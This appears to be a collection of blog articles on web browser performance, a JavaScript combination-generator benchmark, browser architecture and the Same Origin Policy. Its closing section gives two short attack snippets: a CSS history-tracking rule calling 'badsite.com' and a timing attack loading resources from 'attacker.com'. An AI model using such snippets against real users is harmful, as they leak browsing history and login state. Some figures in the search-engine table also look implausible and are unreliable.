Web Browser

Nowadays the speed of Internet is much better than in the past, but we can still see websites with high loading time.

Low-performing websites produce several negative side effects, for example:

  • "Research has shown that when loading time increases from one to three seconds, a user is 32% more likely to bounce. If the loading time is longer than five seconds, the probability of bouncing increases by 90%. Such experiences can prove rather frustrating, which means that large numbers of users will choose not to return to this page";
  • 46% of users don't revisit poorly performing websites;
  • low reputation of the website and negative impacts to the business. Ecommerce sites will pratically pay the price for delays;
  • bad advertisement for the service, firm or business the website represents.

For this reasons we are going to analyse what affects the performance and usability of a website.

FIRST STUDY: HOME PAGE OF MOST POPULAR ITALIAN NEWS WEBSITE

We have chosen, as small representative sample for the study, the homepage of most well-known Italian newspapers because we think they are accessed every day from lots of users so their performance should be very crucial.

These homepages have been studied using GMetrix [02]: a website performance analytics tool that provides professional reports.

Taking a significant subset of data produced by GMetrix we have the following table:

By calculating the Pearson’s correlation coefficient between the Fully Loaded Time and respectively the Total Page Size, the Total Image Size and the Total of HTTP Requests, we have the results shown in the following table.

The use of Pearson Correlation Coefficient (PCC) reveals: a small correlation between Fully Loaded Time and Total Page Size, a moderate correlation between Fully Loaded Time and Total Image Size and a Strong correlation between Fully Loaded Time and Total of HTTP Requests.

SECOND STUDY: HOME PAGE OF MOST POPULAR WEB SEARCH ENGINE

Website
----------------------***
Fully Loaded Time secTotal Page Size KBTotal IMG Size KB% IMG SizeTotal of Requests
www.gigablast.com0.39933.9030.8080.005
www.lukol.com0.61660.3030.2042.907
www.oscobo.com2.000243.0057.307.1014
search.disconnect.me1.600442.00186.0031.2016
yandex.com3.500819.00333.0018.8016
www.google.com0.613521.006.821.3022
infinitysearch.co0.763179.0087.2034.8023
duckduckgo.com0.438350.0012.4020.0025
www.startpage.com1.000397.0057.7014.3028
search.yahoo.com989.000250,880.00180224.0058.6029
metager.org1.800257.0084.6066.7030
www.wolframalpha.com14.000709.0033.506.2032
swisscows.com6.100932,864.00742400.0060.0045
www.baidu.com4.500810.00160.0038.5052
searchencrypt.com6.000464.0031.601.9054
www.gibiru.com0.809316,416.00273408.0042.6054
www.qwant.com3.800126,976.00289.0019.5087
boardreader.com6.000222,208.009.9025.60121
www.bing.com3.200277,504.00115688.0050.00222
www.ask.com12.700326,656.00144384.0030.70982

Two VariablesCalculated Pearson
correlation coefficient [03]
Value RangeStrength of Association
Fully Loaded Time and
Total Page Size
0.13779770.1 .. 0.29Small
Fully Loaded Time and
Total Image Size
0.37096920.3.. 0.49Moderate
Fully Loaded Time and
Total of HTTP Requests
0.57878090.5 .. 1.0Strong

RESULT OF INVESTIGATION

The strong correlation (about 0.8 in the first study and about 0.6 in the second study) between the loading time and the total of HTTP requests means that the number of HTTP requests generally have a direct impact on how quickly the web page loads.

Website speed is a key factor in SEO. It affects search engine ranking factor determining search engine placement which is connected to Google’s algorithms.

One way to speed up a website is to reduce the number of HTTP requests. Here are some tips:

  • Using CDN (Content Delivery Network);
  • Delete unnecessary images;
  • Reduce image size;
  • Implement the lazy loading technique;
  • Minifying CSS and JavaScript files.

REFERENCES

[01] Tai Wen Jun, Low Zi Xiang, Nor Azman Ismail. William Goy Ren Yi, Usability Evaluation of Social Media Website, International Research Journal of Modernization in Engineering Technology and Science, January 2021;

[02] https://gtmetrix.com, GMetrix: How fast does your website load?;

[03] https://www.webpagetest.org/: Instantly test your site’s performance in real browsers, devices, and locations around the world;

[04] https://en.wikipedia.org/wiki/Pearson_correlation_coefficient Pearson correlation coefficient;

[05] https://en.wikipedia.org/wiki/Same-origin_policy Same-origin policy;

[06] https://neilpatel.com/blog/does-speed-impact-rankings/: We Analyzed 143,827 URLs and Discovered the Overlooked Speed Factors That Impact Google Rankings;

Last update on 30/03/2022

JAVASCRIPT EXECUTION LIMITS IN THE WEB BROWSER

When we ask the visualization of a web page in the browser, it could shows you:

Warning: Unresponsive script" prompt that says "A script on this page may be busy, or it may have stopped responding. You can stop the script now, or you can continue to see if the script will complete."

It means that a script takes too long to run and the browser doesn’t accept it.

A consequence of it is that the user interaction with the browser and web page is stopped.

The browser UI and JavaScript code share a single processing thread. Every event is added to a single queue. When the browser becomes idle, it retrieves the next event on the queue and executes it.

In reality, browsers starts a new OS process for every tab. However, there is still a single event queue per viewed page and only one task can be completed at a time. This is necessary for rendering the web page and for the user interaction with the web page in the browser.

To test the speed and limit of web browser in the execution of the JavaScript code we are going to use a heavy processing algorithm for generation of combinations without repetitions.

DONALD KNUTH’S ALGORITHM FOR GENERATION OF COMBINATIONS WITHOUT REPETITIONS

The number of combinations of n things, taken k at a time are exactly:

We can think these n things as an ordered collection of objects and we can use binary notation to discover combinations.

For example, we take a set of five letter: {A,B,C,D,E} and we want to list the combinations of 2 letter from this set without repetitions. Using the formula above the number of combinations is 10.

We consider this set as an ordered set: A<B<C<D<E and we use the binary notation to represent it where

0 means the letter is not in the combination and 1 means the letter is in the combination.

We know that the number of all subsets is = 32 > 5, while we have to select of these subsets only those that have a number of elements equal to 2.

Considering the set as an ordered set {A,B,C,D,E} and using the binary notation, the list of all subsets of this set are:

Only good binary representations are used to generate good combinations.

Here it is a combination tool.

A program in JavaScript to codify the algorithm could be:

//--------------------------------------------------------------------
function GenerateCombinations()
	{
	  var Answer_Head = "<table border='1' >";
	  var Answer_Body = "";
	  var Answer_Tail = "</table>";
	  var ErrorCode = 0;
	  var ErrorMsg  = "";

	  var nCombSize = 0;
	  var BaseComb  = new Array();
	  var iBaseComb = 0;
	  var CodeComb  = 0;
	  var CombList  = new Array(); 
	  var ACombItem = "";  
	  var BinaryNumber       = new Array();
	  var BinaryStringNumber = "";
	  var NProgres           = 0;
	  var RNProgres          = 0;
          var NFilter            = 0;
   
          var Start = Date.now(); 
	  var End = Date.now();
	  var Elapsed = End - Start // time in ms	
	  var cElapsed = Elapsed.toString();
		    
	  
// AREA INTELLIGENCE 
	  
  // Clear Area
  window.document.getElementById("i_BackMsg").innerHTML  = "" ;
  window.document.getElementById("i_Answer").innerHTML   = ""
	     
	
// Check Input Data
  if ( isNaN( window.document.getElementById("iN").value) ) {  
        ErrorCode = 1;
       ErroMsg   = "Attention !!! The Combination Size must be a number."; 
	 }	 
else {
     if (window.document.getElementById("iN").value == 0 || 
         window.document.getElementById("iN").value == "" ) {
    	 ErrorCode = 11;
    	 ErroMsg = "Attention !!! The Combination Size must be a value more then zero."; 
          }
        else
        {
           if (window.document.getElementById("iN").value >= 20 ) {
              ErrorCode = 11;
              ErroMsg   = "Attention !!! The Combination Size must less then 20.";
            }
	    else
	    {             	           
	      nCombSize = window.document.getElementById("iN").value ;
	    };           
	};      
	};

// Show Msg  
  if ( ErrorCode > 0 ) {  	       window.document.getElementById("i_BackMsg").innerHTML =ErroMsg+"<br/>" ;	  
return;
 } 
  else
 {
  window.document.getElementById("i_BackMsg").innerHTML ="OK!" ;
 };
	  
    
    
// Check Elements
  iBaseComb = 0;
        
  if ( !(window.document.getElementById("i_e01").value == "" || 
       window.document.getElementById("i_e01").value == "0" )) {          
              BaseComb[iBaseComb]=window.document.getElementById("i_e01").value;
              iBaseComb++;
  };      
          
         
   < .... >
          
        
if ( !(window.document.getElementById("i_e20").value == "" || 
      window.document.getElementById("i_e20").value == "0" )) {          
              BaseComb[iBaseComb]=window.document.getElementById("i_e20").value;
              iBaseComb++;
        };      


     
       if ( iBaseComb == 0 || iBaseComb <= nCombSize )  {     
    	   ErrorCode = 11;
    	   ErroMsg = "Attention !!! The Elements must not be equal to or more than the combination size.";	   
       };
       
  	  // Show Msg  
    	  if ( ErrorCode > 0 ) {
    	     window.document.getElementById("i_BackMsg").innerHTML =ErroMsg+"<br/>" ;	  
    	     return;
    	  } 
    	  else
    	  {
    	      window.document.getElementById("i_BackMsg").innerHTML = "" ;
    	  };       
     
     
    // Combination Code
       CodeComb=0;
       for (j=0;j<=iBaseComb-1;j++){
           CodeComb+= Math.pow(2,j);
       }; 
               
	// Combination Generator
          CombList  = new Array(iBaseComb); 
       
       for (y=0;y<=CombList.length-1;y++){
          CombList[y]="0"
       };
       RNProgress = 0;
       NProgres   = 0;
       for (k=0;k<=(CodeComb); k++) {
         
            BinaryNumber = DecimalToBinary(k, iBaseComb);
         
                                 
            if ( IsAGoodCombination (BinaryNumber, nCombSize ) ) {
                    
                  for (y=0;y<=CombList.length-1;y++){
                       CombList[y]="0";
                   };                    
                      
                   // Make the combination       
                   for (x=0;x<=BinaryNumber.length-1;x++){                   
                        
                         if (BinaryNumber[x]=="1"){
                            CombList[x]=BaseComb[x];                                             
                         };                         
                                     
                      };
                      
                     CombList.sort(function(a,b){return a - b});
                      
                     NProgres++;
                     
                      
                     ACombItem="";        					  
        for (j=0;j<CombList.length;j++){
			 		     
	    if (CombList[j]!="0"){						  
               ACombItem=ACombItem+CombList[j]+" ";                                             
             };                         
	};
                     window.document.getElementById("i_Answer").innerHTML+=NProgres.toString()+" - ";
 window.document.getElementById("i_Answer").innerHTML+=ACombItem+"<br />";
      };         
 };       
 window.document.getElementById("i_Answer").innerHTML+=Answer_Tail+"<br /><br />";
 End = Date.now();
 Elapsed = End - Start // time in milliseconds		
 cElapsed = Elapsed.toString();
 window.document.getElementById("i_Time").innerHTML="Time Elapsed: "+cElapsed+" ms";
 return ;
}
	
//--------------------------------------------------------------------
function DecimalToBinary (iDecNumber, iSize){
  
 // Section Data Structure
    answer = new Array(iSize);
    n10  = iDecNumber;
    x2   = iDecNumber;
    log2 = 0;
 // Section Initialization 
    for (j=0; j<=answer.length-1;j++){
         answer[j]="0";
    };          
// Section Intelligence      
    while (x2>=2) {
          x2=x2/2;
          log2++;     
    };
     for (l2=log2;l2>=0;l2--) {
       power = Math.pow(2,l2);
       if (n10 >= power) {
           answer[l2]="1";
           n10 = n10 - power;
       }
       else {
           answer[l2]="0";
       };      
     };     
     answer.reverse();     
     return answer     
  }
	
//--------------------------------------------------------------------
	
function IsAGoodCombination ( iBRNumber, iCombSize ) {        
    var NumberOfOne = 0 ;
    for (j=0;j<=iBRNumber.length-1;j++) {        
        if (iBRNumber[j]=="1") {          
          NumberOfOne++;          
          if ( NumberOfOne >  iCombSize ) {
             break;
          };
        };     
    };    
    if ( NumberOfOne == iCombSize ) {
       return true; 
    }   
    else {
       return false;   
    };
  }  
//--------------------------------------------------------------------

WEB APPLICATION CLIENT-SIDE JAVASCRIPT PERFORMANCE

The results of using as benchmark the JavaScript program previously described are the following ones.

How we can see from the tables and graphs above SpiderMonkey Engine in this test result the winner.

Only in the increase of execution time for high number of combinations it is not the best.

REFERENCES

[01] Donald E. Knuth, The Art of Computer Programming Volume 4 Generating All Combinations and Partitions Fascicle 3, July 2005;

[02] JavaScript Execution and Browser Limits https://www.sitepoint.com/javascript-execution-browser-limits/ ;

[03] Web Browser http://www.volucer.it/?p=143

The web browser is a program that retrieves documents from remote servers and displays them on the screen. It allows that particular resources could be requested explicitly by URI, or implicitly by following embedded hyperlinks.

The visual appearance of a web page encoded using HTML language is improved using other technologies.

The first one is the Cascading Style Sheets (CSS) that allow adding layout and style information to the web pages without complicating the original structural mark-up language.

The second one is JavaScript (now standardized as ECMAScript scripting language [1]), which is a host environment for performing client-side computations. It is embedded within HTML documents and the corresponding displayed page is the result of evaluating the JavaScript code and of applying it to the static HTML constructs.

The last one is the using of plugins[2], small extensions that are loaded by the browser and used to display some types of content that the web browser cannot display directly, such as Macromedia Flash animations and Java Applets.

[1] ECMA International is an industry association founded in 1961 and dedicated to the standardization of Information and Communication Technology (ICT) and Consumer Electronics (CE).
[2] A plug-in (also called plugin, addin, add-in, addon, add-on, snap-in, snapin) is a small software computer program that extends the capabilities of a larger program. Plugins are commonly used in web browsers to enable them to play sounds, video clips, or automatically decompressing files.

A REFERENCE ARCHITECTURE FOR WEB BROWSERS

The web browser is perhaps the most widely used software application running on diverse types of operating system. For this reason, reference architecture is useful to understand how a web browser operates and what services it supplies. A schema of the reference browser architecture is shown in figure 1.

Web browser reference architecture
Figure1 - Web browser reference architecture

The reference schema is made up of eight major subsystems plus the dependencies between them:
1. The User Interface subsystem is the layer between the user and the Browser Engine. It provides features such as toolbars, visual page-load progress, smart download handling, preferences and printing.
2. The Browser Engine subsystem is a component that provides a high-level interface to the Rendering Engine. It loads a given URI and supports primitive browsing actions such as forward, back, and reloading. It provides hooks for viewing various aspects for browsing session such as current page load progress and JavaScript alerts. It also allows querying and manipulation of Rendering Engine settings.
3. The Rendering Engine subsystem produces a visual presentation for a given URI. It is capable of displaying HTML and Extensible Markup Language (XML) documents, optionally styled with CSS, as well as embedded content such as images. It calculates the exact page layout and may use “reflow” algorithms to incrementally adjust the position of elements on the page. This subsystem also includes the HTML parser. As an example the most popular Rendering Engines are Trident for Microsoft Internet Explorer, Gecko for Firefox, WebKit for Safari and Presto for Opera.
4. The Networking subsystem implements file transfer protocols such as HTTP and FTP. It translates between different character sets, and resolves MIME[3] media types for files (see figure 2). It may implement a cache of recently retrieved resources.

MIME TABLE role
Figure 2 - MIME TABLE role

5. The JavaScript Interpreter evaluates JavaScript code which may be embedded in web pages. JavaScript is an object-oriented scripting language developed by Brendan Eich for Netscape in 1995. Certain JavaScript functionalities, such as the opening of pop-up windows, may be disabled by the Browser Engine or Rendering Engine for security purposes. In the following table we can see examples of JavaScript Interpreter.

JavaScriptInterpreter

[3] MIME was originally intended for use with e-mail attachments, in fact MIME stands  for Multimedia Internet Mail Extensions. Unix systems made use of a .mailcap file, which was a table associating MIME types with application programs. Early browsers made use of this capability, now substituted by their own MIME configuration tables.

6. The XML Parser subsystem parses XML documents into a Document Object Model (DOM) tree.

7. The Display Backend subsystem provides drawing and windowing primitives, a set of user interface widgets, and a set of fonts. It may be tied closely with the operating system.

8. The Data Persistence subsystem stores various data associated with the browsing session on disk. These may be high-level data such as bookmarks or toolbars settings, or they may be low-level data such as cookies, security certificates, or caches.

 

WEB BROWSER: THE NEW OS

In the following table we can see a comparison between a classical OS and the Internet Browser.

OSComparison

Browser Same Origin Policy (SOP)

Two pages have the same origin if the protocol, port (if one is specified), and host are the same for both pages.

Examples:

http://www.AWebSite.com:80/Page1.html

SOP01

The SOP is identified by (http, AWebSite.com, 80).

https://www.AWebSite.com/Page1.html

SOP02

While in this case the SOP is identified by (https, AWebSite.com, ).

The interaction between sites of different domains is regulated by the SOP. Every browser implements this policy which means:

  • on the client side: cookies from origin (document.domain) A are not visible to origin B; scripts from origin A cannot read or set properties for origin B using DOM interface.
  • on server side: SOP allows “send-only” communication to remote site.

Setting document.domain of a web page changes the origin of the page in fact this property sets or returns the domain name of the server from which the document is originated.

 

Some Same Origin Policy (SOP) Violations

1)    Tracking users by querying user’s history file.

<style> a#visited {background: url (www.badsite.com/trackuser.php?bank.com); } </style>
<a href=”http://www.bank.com/” > Hi! </a>

The application of this type of violation could be:

  • Spear phishing;
  • Marketing;
  • Use browsing history as second factor authentication.

 

2)    Cross-site Timing attacks.

The response time depends on private user state, for example:

  • If the user is logged or not;
  • From number of elements in shopping cart;
  • So on…

In general all web sites leak information by timing.

A link tag can be used to leak timing information based on the fact that a Browser stops parsing until link is resolved.

<head>
<link rel=“stylesheet” href=“attacker.com/img1.gif”>
<link rel="stylesheet“ href=“victim.com/login.html" />
<img rel=“stylesheet” href=“attacker.com/img2.gif>
</head>

Attacker learns how long it took to load victim/login.html.

 

REFERENCES

[01] Alan Grosskurth, Michael W. Godfrey, Architecture and evolution of the modern web browser, David R. Cheriton School of Computer Science, University of Waterloo, Waterloo, 2006;

[02] Iris Lai, Jared Haines Johm, Chun-Hung, Chiu Josh Fairhead, Conceptual Architecture of Mozilla Firefox (version 2.0.0.3), SEng 422 Assignment 1 Dr. Ahmed E. Hassan, 2007;

[03] Nicchi A., Web Applications: technologies and models, Edizioni Accademiche Italiane, 2014;

[04] Charles Reis, Steven D. Gribble, Isolating Web Programs in Modern Browser Architectures, University of Washington, 2009;

[05] Stanford Advanced Computer Security Certificate Program, Browser Security Model and SOAP Violations, 2007.